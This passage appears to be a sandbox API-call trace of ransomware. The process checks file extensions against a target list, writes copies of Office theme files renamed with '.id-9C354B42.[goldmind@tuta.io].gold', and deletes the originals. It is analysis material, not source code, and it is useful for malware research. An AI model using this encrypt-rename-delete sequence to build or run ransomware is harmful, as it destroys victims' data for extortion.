dwFileAttributes=0x20) returned 1 [0095.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx")) returned 1 [0095.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0095.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0095.172] lstrlenW (lpString=".doc") returned 4 [0095.172] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.172] lstrlenW (lpString=".docx") returned 5 [0095.172] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.172] lstrlenW (lpString=".pdf") returned 4 [0095.172] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.172] lstrlenW (lpString=".xls") returned 4 [0095.172] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.172] lstrlenW (lpString=".xlsx") returned 5 [0095.172] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.172] lstrlenW (lpString=".ppt") returned 4 [0095.172] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0095.172] lstrlenW (lpString=".zip") returned 4 [0095.172] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.172] lstrlenW (lpString=".rar") returned 4 [0095.172] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.173] lstrlenW (lpString=".bz2") returned 4 [0095.173] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.173] lstrlenW (lpString=".7z") returned 3 [0095.173] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0095.173] lstrlenW (lpString=".dbf") returned 4 [0095.173] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0095.173] lstrlenW (lpString=".1cd") returned 4 [0095.173] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0095.173] lstrlenW (lpString=".jpg") returned 4 [0095.173] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0095.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0095.173] lstrlenW (lpString=".doc") returned 4 [0095.173] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.173] lstrlenW (lpString=".docx") returned 5 [0095.173] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.173] lstrlenW (lpString=".pdf") returned 4 [0095.173] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.173] lstrlenW (lpString=".xls") returned 4 [0095.173] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.173] lstrlenW (lpString=".xlsx") returned 5 [0095.173] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.173] lstrlenW (lpString=".ppt") returned 4 [0095.173] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0095.173] lstrlenW (lpString=".zip") returned 4 [0095.173] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.173] lstrlenW (lpString=".rar") returned 4 [0095.173] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.173] lstrlenW (lpString=".bz2") returned 4 [0095.173] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.173] lstrlenW (lpString=".7z") returned 3 [0095.173] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0095.173] lstrlenW (lpString=".dbf") returned 4 [0095.173] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0095.173] lstrlenW (lpString=".1cd") returned 4 [0095.173] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0095.173] lstrlenW (lpString=".jpg") returned 4 [0095.173] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.173] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0095.173] lstrlenW (lpString="Austin.eftx") returned 11 [0095.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0095.174] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=26989) returned 1 [0095.174] CloseHandle (hObject=0x3b8) returned 1 [0095.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx")) returned 0x20 [0095.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0095.175] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.175] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0095.175] GetLastError () returned 0x0 [0095.175] ReadFile (in: hFile=0x3b8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x696d, lpOverlapped=0x0) returned 1 [0095.177] WriteFile (in: hFile=0x3a8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x6970, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x6970, lpOverlapped=0x0) returned 1 [0095.178] ReadFile (in: hFile=0x3b8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.178] WriteFile (in: hFile=0x3a8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0095.178] SetEndOfFile (hFile=0x3a8) returned 1 [0095.178] CloseHandle (hObject=0x3a8) returned 1 [0095.178] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.178] SetEndOfFile (hFile=0x3b8) returned 1 [0095.183] CloseHandle (hObject=0x3b8) returned 1 [0095.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx")) returned 1 [0095.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0095.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0095.183] lstrlenW (lpString=".doc") returned 4 [0095.183] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.183] lstrlenW (lpString=".docx") returned 5 [0095.183] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.183] lstrlenW (lpString=".pdf") returned 4 [0095.183] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.183] lstrlenW (lpString=".xls") returned 4 [0095.183] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.183] lstrlenW (lpString=".xlsx") returned 5 [0095.183] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.184] lstrlenW (lpString=".ppt") returned 4 [0095.184] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0095.184] lstrlenW (lpString=".zip") returned 4 [0095.184] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.184] lstrlenW (lpString=".rar") returned 4 [0095.184] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.184] lstrlenW (lpString=".bz2") returned 4 [0095.184] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.184] lstrlenW (lpString=".7z") returned 3 [0095.184] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0095.184] lstrlenW (lpString=".dbf") returned 4 [0095.184] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0095.184] lstrlenW (lpString=".1cd") returned 4 [0095.184] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0095.184] lstrlenW (lpString=".jpg") returned 4 [0095.184] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0095.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0095.184] lstrlenW (lpString=".doc") returned 4 [0095.184] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.184] lstrlenW (lpString=".docx") returned 5 [0095.184] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.184] lstrlenW (lpString=".pdf") returned 4 [0095.184] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.184] lstrlenW (lpString=".xls") returned 4 [0095.184] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.184] lstrlenW (lpString=".xlsx") returned 5 [0095.184] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.184] lstrlenW (lpString=".ppt") returned 4 [0095.184] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0095.184] lstrlenW (lpString=".zip") returned 4 [0095.184] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.184] lstrlenW (lpString=".rar") returned 4 [0095.184] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.184] lstrlenW (lpString=".bz2") returned 4 [0095.184] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.184] lstrlenW (lpString=".7z") returned 3 [0095.184] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0095.184] lstrlenW (lpString=".dbf") returned 4 [0095.184] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0095.184] lstrlenW (lpString=".1cd") returned 4 [0095.184] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0095.184] lstrlenW (lpString=".jpg") returned 4 [0095.184] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.185] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0095.185] lstrlenW (lpString="Black Tie.eftx") returned 14 [0095.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0095.186] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=618119) returned 1 [0095.186] CloseHandle (hObject=0x3b8) returned 1 [0095.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx")) returned 0x20 [0095.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0095.186] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.186] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0095.187] GetLastError () returned 0x0 [0095.187] ReadFile (in: hFile=0x3b8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x96e87, lpOverlapped=0x0) returned 1 [0095.556] WriteFile (in: hFile=0x3a8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x96e90, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x96e90, lpOverlapped=0x0) returned 1 [0095.564] ReadFile (in: hFile=0x3b8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.564] WriteFile (in: hFile=0x3a8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0095.564] SetEndOfFile (hFile=0x3a8) returned 1 [0095.564] CloseHandle (hObject=0x3a8) returned 1 [0095.564] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.565] SetEndOfFile (hFile=0x3b8) returned 1 [0095.575] CloseHandle (hObject=0x3b8) returned 1 [0095.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.576] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx")) returned 1 [0095.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0095.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0095.576] lstrlenW (lpString=".doc") returned 4 [0095.576] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.576] lstrlenW (lpString=".docx") returned 5 [0095.576] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.576] lstrlenW (lpString=".pdf") returned 4 [0095.576] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.576] lstrlenW (lpString=".xls") returned 4 [0095.576] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.576] lstrlenW (lpString=".xlsx") returned 5 [0095.576] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.576] lstrlenW (lpString=".ppt") returned 4 [0095.576] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0095.576] lstrlenW (lpString=".zip") returned 4 [0095.576] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.576] lstrlenW (lpString=".rar") returned 4 [0095.576] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.576] lstrlenW (lpString=".bz2") returned 4 [0095.576] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.576] lstrlenW (lpString=".7z") returned 3 [0095.576] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0095.576] lstrlenW (lpString=".dbf") returned 4 [0095.576] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0095.577] lstrlenW (lpString=".1cd") returned 4 [0095.577] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0095.577] lstrlenW (lpString=".jpg") returned 4 [0095.577] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0095.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0095.577] lstrlenW (lpString=".doc") returned 4 [0095.577] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0095.577] lstrlenW (lpString=".docx") returned 5 [0095.577] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0095.577] lstrlenW (lpString=".pdf") returned 4 [0095.577] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0095.577] lstrlenW (lpString=".xls") returned 4 [0095.577] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0095.577] lstrlenW (lpString=".xlsx") returned 5 [0095.577] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0095.577] lstrlenW (lpString=".ppt") returned 4 [0095.577] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0095.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0095.577] lstrlenW (lpString=".zip") returned 4 [0095.577] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0095.577] lstrlenW (lpString=".rar") returned 4 [0095.577] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0095.577] lstrlenW (lpString=".bz2") returned 4 [0095.577] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0095.577] lstrlenW (lpString=".7z") returned 3 [0095.577] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0095.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0095.577] lstrlenW (lpString=".dbf") returned 4 [0095.577] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0095.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0095.577] lstrlenW (lpString=".1cd") returned 4 [0095.577] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0095.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0095.577] lstrlenW (lpString=".jpg") returned 4 [0095.577] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0095.577] lstrcmpiW (lpString1=".eftx", lpString2=".gold") returned -1 [0095.577] lstrlenW (lpString="Equity.eftx") returned 11 [0095.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0096.203] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=24611) returned 1 [0096.203] CloseHandle (hObject=0x3b8) returned 1 [0096.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx")) returned 0x20 [0096.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0096.411] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.411] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0096.412] GetLastError () returned 0x0 [0096.412] ReadFile (in: hFile=0x3a0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x6023, lpOverlapped=0x0) returned 1 [0096.413] WriteFile (in: hFile=0x19c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x6030, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x6030, lpOverlapped=0x0) returned 1 [0096.414] ReadFile (in: hFile=0x3a0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.414] WriteFile (in: hFile=0x19c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0096.414] SetEndOfFile (hFile=0x19c) returned 1 [0096.414] CloseHandle (hObject=0x19c) returned 1 [0096.414] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.414] SetEndOfFile (hFile=0x3a0) returned 1 [0096.416] CloseHandle (hObject=0x3a0) returned 1 [0096.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.417] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx")) returned 1 [0096.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0096.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0096.417] lstrlenW (lpString=".doc") returned 4 [0096.417] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0096.417] lstrlenW (lpString=".docx") returned 5 [0096.417] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0096.417] lstrlenW 